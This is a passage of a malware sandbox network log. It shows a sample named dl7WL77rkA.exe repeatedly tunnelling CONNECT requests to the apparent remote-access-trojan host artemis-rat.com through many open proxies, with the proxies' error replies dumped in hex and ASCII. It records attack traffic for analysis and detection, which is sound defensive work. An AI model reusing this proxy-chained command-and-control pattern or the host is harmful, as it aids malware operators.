2040	192.168.2.5	53981	20.193.135.50	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.882648945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:19.004070044 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:21.427016020 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:24.370995998 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:30.259371996 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:41.779217958 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2041	192.168.2.5	54009	72.169.67.109	87	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.887171984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889483929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.966269016 CET	766	IN	HTTP/1.0 514 Web Acceleration Client Error (514) - Proxied HTTPS Request Not Supported Content-type: text/html Content-length: 630 Data Raw: 3c 54 49 54 4c 45 3e 57 65 62 20 41 63 63 65 6c 65 72 61 74 69 6f 6e 20 43 6c 69 65 6e 74 20 45 72 72 6f 72 20 28 35 31 34 29 20 2d 20 50 72 6f 78 69 65 64 20 48 54 54 50 53 20 52 65 71 75 65 73 74 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 42 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 61 72 69 61 6c 20 63 6f 6c 6f 72 3d 23 33 36 34 32 61 32 3e 57 65 62 20 41 63 63 65 6c 65 72 61 74 69 6f 6e 20 43 6c 69 65 6e 74 20 45 72 72 6f 72 20 28 35 31 34 29 20 2d 20 50 72 6f 78 69 65 64 20 48 54 54 50 53 20 52 65 71 75 65 73 74 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 66 6f 6e 74 3e 3c 2f 42 3e 3c 66 6f 6e 74 20 73 74 79 6c 65 3d 6e 6f 72 6d 61 6c 20 66 61 63 65 3d 61 72 69 61 6c 20 73 69 7a 65 3d 32 70 78 3e 3c 50 3e 54 68 65 20 57 65 62 20 41 63 63 65 6c 65 72 61 74 69 6f 6e 20 43 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 73 65 63 75 72 65 20 72 65 71 75 65 73 74 73 20 28 48 54 54 50 53 29 20 66 72 6f 6d 20 61 20 62 72 6f 77 73 65 72 20 77 68 65 6e 3a 20 3c 50 3e 20 3c 55 4c 3e 3c 4c 49 3e 20 54 68 65 20 62 72 6f 77 73 65 72 20 69 73 20 70 72 6f 78 69 65 64 20 74 6f 20 57 65 62 20 41 63 63 65 6c 65 72 61 74 69 6f 6e 20 43 6c 69 65 6e 74 20 66 6f 72 20 73 65 63 75 72 65 20 72 65 71 75 65 73 74 73 20 28 48 54 54 50 53 29 2c 20 61 6e 64 20 3c 4c 49 3e 20 54 68 65 20 57 65 62 20 41 63 63 65 6c 65 72 61 74 69 6f 6e 20 43 6c 69 65 6e 74 20 69 73 20 6e 6f 74 20 63 6f 6e 66 69 67 75 72 65 64 20 77 69 74 68 20 61 20 70 72 6f 78 79 20 73 65 72 76 65 72 2c 20 61 6e 64 20 3c 4c 49 3e 20 53 53 4c 42 20 69 73 20 64 69 73 61 62 6c 65 64 20 3c 2f 55 4c 3e 3c 50 3e 20 54 6f 20 63 6f 72 72 65 63 74 20 74 68 69 73 20 70 72 6f 62 6c 65 6d 2c 20 79 6f 75 20 6d 75 73 74 20 72 65 6d 6f 76 65 20 74 68 65 20 70 72 6f 78 79 20 73 65 74 74 69 6e 67 73 20 66 72 6f 6d 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 50 3e 3c 2f 66 6f 6e 74 3e Data Ascii: <TITLE>Web Acceleration Client Error (514) - Proxied HTTPS Request Not Supported</TITLE><B><font face=arial color=#3642a2>Web Acceleration Client Error (514) - Proxied HTTPS Request Not Supported</font></B><font style=normal face=arial size=2px><P>The Web Acceleration Client does not support secure requests (HTTPS) from a browser when: <P> <UL><LI> The browser is proxied to Web Acceleration Client for secure requests (HTTPS), and <LI> The Web Acceleration Client is not configured with a proxy server, and <LI> SSLB is disabled </UL><P> To correct this problem, you must remove the proxy settings from your browser.</P></font>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2042	192.168.2.5	55457	162.214.225.223	43435	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.895225048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.486943960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.217840910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.608340979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2043	192.168.2.5	54779	72.37.217.3	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.895684004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2044	192.168.2.5	55454	211.222.252.187	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.895795107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2045	192.168.2.5	54086	45.81.232.17	4715	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.896028996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.989512920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.014513016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.074440002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2046	192.168.2.5	52222	162.241.53.72	57495	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.897018909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.989495039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.014504910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.074436903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2047	192.168.2.5	55200	162.241.50.179	31414	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.908425093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.998567104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.092972040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.092890978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2048	192.168.2.5	55096	117.160.250.163	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
